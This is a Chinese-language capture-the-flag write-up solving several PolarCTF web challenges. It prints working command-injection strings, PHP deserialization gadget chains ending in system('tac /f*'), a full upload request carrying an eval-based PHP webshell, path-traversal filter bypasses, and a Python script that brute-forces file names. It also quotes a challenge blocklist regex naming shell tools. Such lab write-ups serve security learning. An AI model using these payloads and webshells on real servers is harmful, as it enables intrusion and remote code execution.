0x01 前言
还挺多的
0x02 question
EZ_Host
进入之后很明显啊,一个命令注入
1
| /?host=127.0.0.1;tac%20f*
|
序列一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php class Polar{ public $url = 'polarctf.com'; public $lt; public $b; function __destruct() { $a = $this->lt; $a($this->b); } } unserialize($_POST['x']); highlight_file(__FILE__); ?>
|
很简单的反序列化但是中途eval这边不行然后调试了一下下
1 2 3 4 5 6 7 8
| <?php class Polar{ public $url = 'polarctf.com'; public $lt='system'; public $b='tac /f*'; } echo serialize(new Polar());
|
vm50给你flag
1 2 3 4 5 6 7 8 9 10
| <?php include 'funs.php'; highlight_file(__FILE__); if (isset($_GET['file'])) { if (myWaf($_GET['file'])) { include($_GET['file']); } else { unserialize($_GET['data']); } }
|
很明显进行任意文件读取
1
| ?file=php://filter/convert.base64-encode/resource=funs.php
|
同时肯定又是一个序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php include 'f1@g.php'; function myWaf($data) { if (preg_match("/f1@g/i", $data)) { echo "NONONONON0!"; return FALSE; } else { return TRUE; } }
class A { private $a;
public function __destruct() { echo "A->" . $this->a . "destruct!"; } }
class B { private $b = array(); public function __toString() { $str_array= $this->b; $str2 = $str_array['kfc']->vm50; return "Crazy Thursday".$str2; } } class C{ private $c = array(); public function __get($kfc){ global $flag; $f = $this->c[$kfc]; var_dump($$f); } }
|
1
| A::destruct->B::toString->C::get
|
这个还是挺有意思,首先访问vm50
这个属性要不存在也就是我们不要在B里面赋值,然后
var_dump($$f);
这里我们就需要把$kfc
里面还赋值一层数组(看个demo
就知道了)
1 2 3 4 5
| <?php $c=array("vm50"=>"flag"); $a=array("kfc"=>$c); $f=c[$kfc]; var_dump($$f);
|
所以触发get
也是由于访问不到触发的,而不是不存在
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class A { public $a; }
class B { public $b; } class C{ public $c; } $a=new A(); $a->a=new B(); $c=new C(); $c->c=array("vm50"=>"flag"); $a->a->b=array("kfc"=>$c);
echo serialize($a);
|
1
| ?file=f1@g&data=O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";a:1:{s:3:"kfc";O:1:"C":1:{s:1:"c";a:1:{s:4:"vm50";s:4:"flag";}}}}}
|
Deserialize
访问这个/hidden/hidden.php
,又是一个反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| <?php
class Token { public $id; public $secret;
public function __construct($id, $secret) { $this->id = $id; $this->secret = $secret; }
public function generateToken() { return "Token for {$this->id}"; } }
class User { public $name; public $isAdmin = false; public $token;
public function __construct($name, $isAdmin, Token $token) { $this->name = $name; $this->isAdmin = $isAdmin; $this->token = $token; }
public function getInfo() { return "{$this->name} is " . ($this->isAdmin ? "an admin" : "not an admin"); } }
class Product { public $productName; public $price;
public function __construct($productName, $price) { $this->productName = $productName; $this->price = $price; }
public function displayProduct() { return "Product: {$this->productName}, Price: {$this->price}"; } }
if (isset($_GET['data'])) { $data = $_GET['data']; $user = unserialize($data); if ($user instanceof User) { echo $user->getInfo() . "<br>"; echo "Token: " . $user->token->generateToken() . "<br>"; echo "Product: " . $user->token->product->displayProduct() . "<br>"; if ($user->isAdmin) { echo "Here is your flag: " . file_get_contents('/flag'); } else { echo "You are not admin!"; } } else { echo "Invalid user data."; } } else { highlight_file(__FILE__); } ?>
|
这个没有链子,但是最后的会引导你进行写类和触发什么的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php class Token{ public $id; public $secret; } class User{ public $name; public $isAdmin=true; public $token;
} class Product{ public $productName; public $price; } $a=new User(); $a->name="bao"; $a->token=new Token(); $a->token->id=1; $a->token->product=new Product();
echo serialize($a);
|
1
| /hidden/hidden.php?data=O:4:"User":3:{s:4:"name";s:3:"bao";s:7:"isAdmin";b:1;s:5:"token";O:5:"Token":3:{s:2:"id";i:1;s:6:"secret";N;s:7:"product";O:7:"Product":2:{s:11:"productName";N;s:5:"price";N;}}}
|
传马
看到是阿帕奇但是说了只能用图片那就伪装一下先,等会不行再传.htaccess
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| POST / HTTP/1.1 Host: d020ad56-fb0d-4941-aad1-eb1857be5c29.www.polarctf.com:8090 Content-Length: 424 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://d020ad56-fb0d-4941-aad1-eb1857be5c29.www.polarctf.com:8090 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytr2beHroL6swRl2s User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://d020ad56-fb0d-4941-aad1-eb1857be5c29.www.polarctf.com:8090/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close
------WebKitFormBoundarytr2beHroL6swRl2s Content-Disposition: form-data; name="upload_file"; filename="3.php" Content-Type: image/png
<?=eval($_GET[a]);?> ------WebKitFormBoundarytr2beHroL6swRl2s Content-Disposition: form-data; name="submit"
上传 ------WebKitFormBoundarytr2beHroL6swRl2s--
|
1
| /upload/3.php?a=echo `tac /f*`;
|
欧克比想象中简单
bllbl_ser1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php
class bllbl { public $qiang;
function __destruct() { $this->bllliang(); }
function bllliang() { $this->qiang->close(); } }
class bllnbnl { public $er;
function close() { eval($this->er); } }
if (isset($_GET['blljl'])) { $user_data = unserialize($_GET['blljl']); }
|
没啥好说的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php
class bllbl { public $qiang; }
class bllnbnl { public $er; } $a=new bllbl(); $a->qiang=new bllnbnl(); $a->qiang->er="system('tac /f*');"; echo serialize($a);
|
回显在源码里面
投喂
翻译一下就知道了
1 2 3 4 5 6 7
| <?php class User{ public $username="bao"; public $is_admin=true; } $a=new User(); echo serialize($a);
|
rapyiquan
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php error_reporting(0); highlight_file(__FILE__); header('content-type:text/html;charset=utf-8');
$url = $_SERVER['REQUEST_URI']; function checkUrlParams($params) { if (strpos($params, '_') !== false) { return false; } return true; }
if(checkUrlParams($url)){ $cmd=$_GET['c_md']; if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("badly!"); } else { echo `$cmd`; } }else{ echo "$url"; echo "<br>"; echo "Hack"; }
|
反斜杠绕过就可以了
1ncIud3
说的是要替换,现在是可以任意文件读取了
而且貌似这个../
被过滤了,那么双写绕过
然后写个脚本(人机写的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| import requests from itertools import product import time
replace_list = { 'f': [ 'f', '4','F'], 'l': ['1', 'I', 'L', 'i','l'], 'a': ['@', '2', '3', '4','a'], 'g': ['g', '9', 'G', '3', '6'] }
target = "flag"
def generate_combinations(target, replace_list): chars = list(target) replacements = [] for char in chars: if char in replace_list: replacements.append(replace_list[char]) else: replacements.append([char]) combinations = [''.join(combination) for combination in product(*replacements)] return combinations
combinations = generate_combinations(target, replace_list)
url = "http://b0fb50b6-d341-4be9-ac28-5e346250d721.www.polarctf.com:8090/"
for combination in combinations: params = {"page": "..././..././"+combination} response = requests.get(url, params=params) time.sleep(0.1) print(f"Sent: {combination}") print(f"Response: {response.status_code} {response.text}")
if "flag" in response.text: print(f"Found special response with combination: {combination}") break
|
自己稍微改改字典
笑傲上传
直接传不行了,那么就插入了,随便截一张图然后用010写进去就行
查看源码发现有地方可以包含,检查拿到路径
进行RCE
1
| /upload/1820240922085407.png
|
emm,怎么和想象中不一样那就只能用虚拟机合成了
上传成功之后发现了问题,我还是找不到木马,后来发现是路径错了,那么也就是说010插入的方法是可行的
1 2 3 4
| http://e4f57176-9819-4beb-b68e-6c176a1eeb9e.www.polarctf.com:8090/include.php?file=/var/www/html/upload/3120240922091401.png
POST a=echo `tac /f*`;
|
SnakeYaml
这玩意不会,给个官方脚本吧
CC6打spring内存马
一写一个不吱声
依然是不会呜呜
0x03 小结
其他的都还好,这里的序列化比较多,也挺新颖,至少之前没见过这么触发,java得整起来了